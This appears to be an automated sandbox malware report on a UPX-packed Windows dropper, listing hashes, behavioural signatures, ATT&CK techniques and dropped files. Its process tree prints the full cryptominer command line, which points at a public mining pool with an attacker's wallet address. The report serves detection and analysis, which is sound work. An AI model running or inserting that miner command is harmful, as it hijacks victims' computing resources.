73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
300s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
24/02/2024, 13:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1392040655-2056082574-619088944-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5732	b2e.exe
5952	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5952	cpuminer-sse2.exe
5952	cpuminer-sse2.exe
5952	cpuminer-sse2.exe
5952	cpuminer-sse2.exe
5952	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5184-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5184 wrote to memory of 5732	5184	batexe.exe	92
PID 5184 wrote to memory of 5732	5184	batexe.exe	92
PID 5184 wrote to memory of 5732	5184	batexe.exe	92
PID 5732 wrote to memory of 3480	5732	b2e.exe	93
PID 5732 wrote to memory of 3480	5732	b2e.exe	93
PID 5732 wrote to memory of 3480	5732	b2e.exe	93
PID 3480 wrote to memory of 5952	3480	cmd.exe	96
PID 3480 wrote to memory of 5952	3480	cmd.exe	96

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5184
- C:\Users\Admin\AppData\Local\Temp\5505.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5505.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5505.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5732
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\58FD.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5952

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\5505.tmp\b2e.exe

Filesize
5.8MB

MD5
3e1013b404e151ba6db0005cccb8c0a9

SHA1
391fd36ed9cf6d51faabae5ae796d497b222567b

SHA256
021a7a4bdaab52398a87cd5a0e332386ea2e0411a8fe00d777ef87b8f9cdd2ac

SHA512
27fb3f1c5530b91bb903c4768861f67220ad44a44224c8bc0cd0601f6873afcc94586514be4aeb5f8763c0ecbfa7b365a9f55eeccf0968df907c1d5a7b47bc59

Download Submit
C:\Users\Admin\AppData\Local\Temp\5505.tmp\b2e.exe

Filesize
1.4MB

MD5
fe4bc2bb4397eea601e0fa6c45cc20c6

SHA1
35477fc0a38f9db357a70f9b0573537fca582a9b

SHA256
8852fb3a8294753e6b088d458547feaf54685068ed6bc0dece93f608ab44afa7

SHA512
3759f54232069d2efba631954ff86bbf5ef58a616e4e0109c9ad5fcd632ee97ddf169ebddbe58237dbee36951c8d2e176312abe4e142f636398bff8fc2973bbf

Download Submit
C:\Users\Admin\AppData\Local\Temp\5505.tmp\b2e.exe

Filesize
2.3MB

MD5
856057ce4c662c8efada362a88016246

SHA1
0ad045d3c68412a8e1500ac11ae255dc1f9abfe0

SHA256
926f8a81133bfcbe40c11855bc455d696e5ef9e9abe373607947ca2e6672591b

SHA512
0f5f38266539e2a91ad794223ed3e1a50cfdfc6b5913fe1ed9a1f8bccac26e59f718eb2a7d4c8a48c857e7f1ff54f12cb405f510b1743b786a25c976f8c5dcfe

Download Submit
C:\Users\Admin\AppData\Local\Temp\58FD.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
68b9ac5ae90127c74273f1cef7595a9e

SHA1
65958596f7fe21ea3e238c100800d787c3d21dbd

SHA256
1ad13e424fca379121bb202175bf2aa3435689f277211efe47db641baee60714

SHA512
7cd043504e0ac675c3b73aaf5c2614f570d9b9ba765e5d4eb256d441e06f2e3cce2d01004b6888b40fd65c656a3a422a662f547e0ed48a2c5b45ca4823ff1ec7

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
c89e863ce2221a0f49b45a55100e468c

SHA1
569ede311983a53a8f23f254fe37735538cbfa5e

SHA256
5ca5fb55f2e5ddee30c893b0e78d1ad59f593c2c3e5ecc155f14a088c65cfb46

SHA512
f65476f7353ef6ca7378752551c28736b61916cbf54f0a17b211a5a14ab93ddc2830a1d9c3cc1118117a23be95d49b06fc8a174d1a87f360ae4b96a6bbde04b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
799KB

MD5
e1be694fe720cf717ad8d8caadb45b76

SHA1
a80015ead8d775003481e848cde54ca657801229

SHA256
c0c0c9c1b25218889a8d3a867c1acb1b92c9aff9809cf4aa21e9fd3d69c6008e

SHA512
527d31677132172985a9a19bb4db85693f58ae1ad814f90753c9bb714e1af4f7a59e500c9377caf8b3ef4b3d4ee2c8350ce6c7a21998aac956866c089c64e498

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
27e52ee619b81f791cbac66f36aa18ec

SHA1
36eeef179362b94c58f08466c82db5e97c5f9be1

SHA256
adbd058de02bdabac53f2a20f5299d1ac019b0675f009c8a19d6a79619e11461

SHA512
f40a56d0a31bd295d57c958a2c081145c8f7ef85fca1a78c51bf43a44543e363e6a3eb2b52437e6ebe17497b0a0426841f089207e897d19da5caa081f5c767f5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
779KB

MD5
45b71bc586703b6022b24af1fdbd2feb

SHA1
b5c5aa668497ae0e1cdfddc3f4611e7a7dbc22e4

SHA256
9c4ffdb3411d860231ed3e54124d5d5649f096c2ac16b835113e121bfa617fa2

SHA512
f948442e520fe0e784820f055821964c4bbf3b606b7cf6d449321d5da0e44bb462b56123644a6ee38083277bc95d2a3d42bede03ebdacb1449cfa5d39cc102dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
841KB

MD5
87fb4204252ad27ca3f919f933aaf140

SHA1
7b475cf6bf5ed32186f1ca753af494671a6d8309

SHA256
757f26733a9769381ad3b48d83b6b640bacb537d0201ac3a9e297d3af2271056

SHA512
9881d9561c0418ce89ba31c85b9fdb7b23aeddc78ffd846167f4e39c5ce267f9a43d93fe2b96f1ce84849b4da57b1012d0a8ec7d081328073fbd8d114d26eada

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/5184-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5732-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5732-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5952-47-0x0000000001110000-0x00000000029C5000-memory.dmp

Filesize
24.7MB

Download
memory/5952-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5952-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-46-0x000000006D560000-0x000000006D5F8000-memory.dmp

Filesize
608KB

Download
memory/5952-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5952-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5952-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download